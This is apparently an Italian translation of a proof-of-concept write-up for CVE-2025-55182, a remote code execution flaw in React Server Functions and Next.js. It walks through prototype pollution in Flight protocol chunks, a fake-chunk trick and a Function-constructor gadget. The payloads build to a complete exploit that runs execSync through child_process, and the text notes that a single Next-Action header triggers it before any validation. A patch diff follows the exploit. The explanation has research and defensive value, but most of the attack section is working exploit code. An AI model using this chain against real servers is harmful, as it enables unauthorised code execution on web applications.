
Exploit proof-of-concept per CVE-2025-55182, che ottiene l'esecuzione remota di codice in React Server Functions tramite prototype pollution e chunk del protocollo Flight appositamente costruiti.
Autore originale: https://github.com/msanft/CVE-2025-55182
Questa vulnerabilità consente RCE in React Server Functions, ad esempio offerte da Next.js tramite riferimenti non sicuri al prototipo.
Non sono un esperto di React o Next.js, quindi prendi tutte le informazioni qui con le pinze.
React offre Server Functions1, che possono essere viste come una sorta di RPC su HTTP. Possono essere utilizzate per recuperare dati da peer adiacenti per garantire bassa latenza, o per eseguire richieste autenticate per cui il client non ha credenziali.
React utilizza qualcosa chiamato React Flight Protocol2 per la serializzazione dei valori passati alle Server Functions.
Il client passa "chunk" (blocchi) al server, ad esempio tramite form data:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
Come mostrato, questi possono avere riferimenti tra loro.
Il payload sopra si deserializza nel seguente sul server:
{ object: 'fruit', name: 'cherry' }
Il formato stesso è un po' più intricato e consente serializzazioni e deserializzazioni più complesse, ma questo fornisce una comprensione di base per la vulnerabilità vera e propria.
Fino a questo commit3, quando si attraversavano i chunk nella risoluzione dei riferimenti, ad esempio ottenendo fruitName dal chunk 2 nell'esempio sopra, React non verificava se la chiave richiesta fosse effettivamente impostata sull'oggetto. Questo ci ha permesso di ottenere il prototipo dell'oggetto4.
Questo può essere dimostrato con un payload come questo:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Che si deserializza nel costruttore di funzione5:
[Function: Function]
Quando il chunk con ID 0 non è un array ma un oggetto, possiamo impostare la chiave then sul costruttore di funzione. L'oggetto viene quindi restituito dalla funzione decodeReplyFromBusboy e attenduto (awaited) da Next.js:
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Quando questo restituisce un thenable, l'await nel chiamante lo chiamerà.
Questo è ciò che accade con questo payload:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Portando a questo errore:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
L'errore appare così poiché V8 chiama una funzione awaitata con le funzioni interne resolve e reject, che, quando vengono convertite con toString, si serializzano in qualcosa come:
function () { [native code] }
Poiché possiamo recuperare banalmente il costruttore Function, il modo più diretto è trovare un call gadget che invochi il costruttore con un valore controllato dall'utente (cioè il codice della funzione come stringa), e successivamente chiami la funzione restituita.
Ci sono più punti che possono chiamare il costruttore di funzione, ad esempio resolveServerReference, dove id è un oggetto controllato, e lastIndexOf può essere sovrascritto per restituire una stringa controllata dall'utente (ad esempio tramite Array.prototype.join) e slice può essere sovrascritto con il costruttore di funzione. Tuttavia, questo punto non funziona perché la seconda invocazione di .slice() fornisce un numero come primo argomento, che -per quanto ne so- non può mai essere gestito dal costruttore di funzione.
Qui entra in gioco un'idea brillante di maple31426. Quando getChunk prende il chunk con ID 0 come riferimento radice per iniziare a risolvere la catena di riferimenti, questo stesso chunk può risolversi in un "fake chunk" (blocco falso) creato ad hoc.
Possiamo referenziare il chunk 0 creato nel chunk 1 utilizzando la sintassi $@, che restituisce il chunk "grezzo", non il suo valore risolto:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
Combinando questo con la nostra sovrascrittura di then di sopra, possiamo creare qualcosa come:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
Qui, il chunk 0 sovrascrive il proprio .then() con il .then() della propria rappresentazione grezza del chunk. In parole semplici, sovrascriviamo il nostro .then() con Chunk.prototype.then, che esiste poiché i Chunk sono thenable:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
Con il payload sopra, Chunk.prototype.then viene infine chiamato con il chunk creato con ID 0.
Come mostrato sopra, quando .status sul nostro fake chunk è resolved_model:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
Entriamo in initializeModelChunk. Qui, .value viene analizzato come JSON, e poi i riferimenti vengono risolti sull'oggetto restituito, utilizzando il contesto "esterno" dei nostri chunk con ID 0 e 1:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
All'interno di questo, otteniamo ora un secondo passaggio di valutazione con un po' più di valori a cui abbiamo accesso grazie al fatto che il contesto esterno è già stato risolto.
C'è un call gadget nella gestione dei dati blob con il prefisso $B nel flight protocol:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
Utilizzando il campo speciale _response, controlliamo la proprietà response del chunk creato:
// in initializeModelChunk
value = reviveModel(chunk._response, // ...
Con questo, possiamo creare un oggetto con proprietà ._formData e ._prefix false:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
Il campo .reason deve essere aggiunto per evitare di fallire sull'invocazione di toString in initializeModelChunk::
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
Puntando ._formData al costruttore di funzione, e ._prefix al nostro codice, otteniamo un gadget di invocazione per il costruttore di funzione nella deserializzazione dei blob:
response._formData.get(response._prefix + "0")
// diventa
Function("return foo; // 0")
La nostra funzione creata viene quindi restituita da parseModelString come metodo .then() del chunk creato, che viene anche attenduto (awaited), poiché tutto ciò avviene in un'unica catena di risoluzione delle promise. Quindi, restituendo un thenable, la nostra funzione creata viene chiamata. Questo costituisce il call gadget richiesto menzionato sopra.
Mettendo tutto insieme con un payload RCE reale, otteniamo qualcosa come:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
Il vantaggio (o svantaggio), che rende questa vulnerabilità ancora peggiore, è che tutto ciò accade durante la deserializzazione, prima che l'azione richiesta venga prima validata in getActionModIdOrError. Pertanto, impostare un'intestazione come Next-Action: foo è sufficiente per attivare la vulnerabilità.
L'utilizzo dei riferimenti ai chunk per recuperare proprietà del prototipo è stato corretto con questo controllo:
@@ -78,7 +80,10 @@ export function preloadModule<T>(
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return (undefined: any);
}
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/x.com/maple3142%3E ↩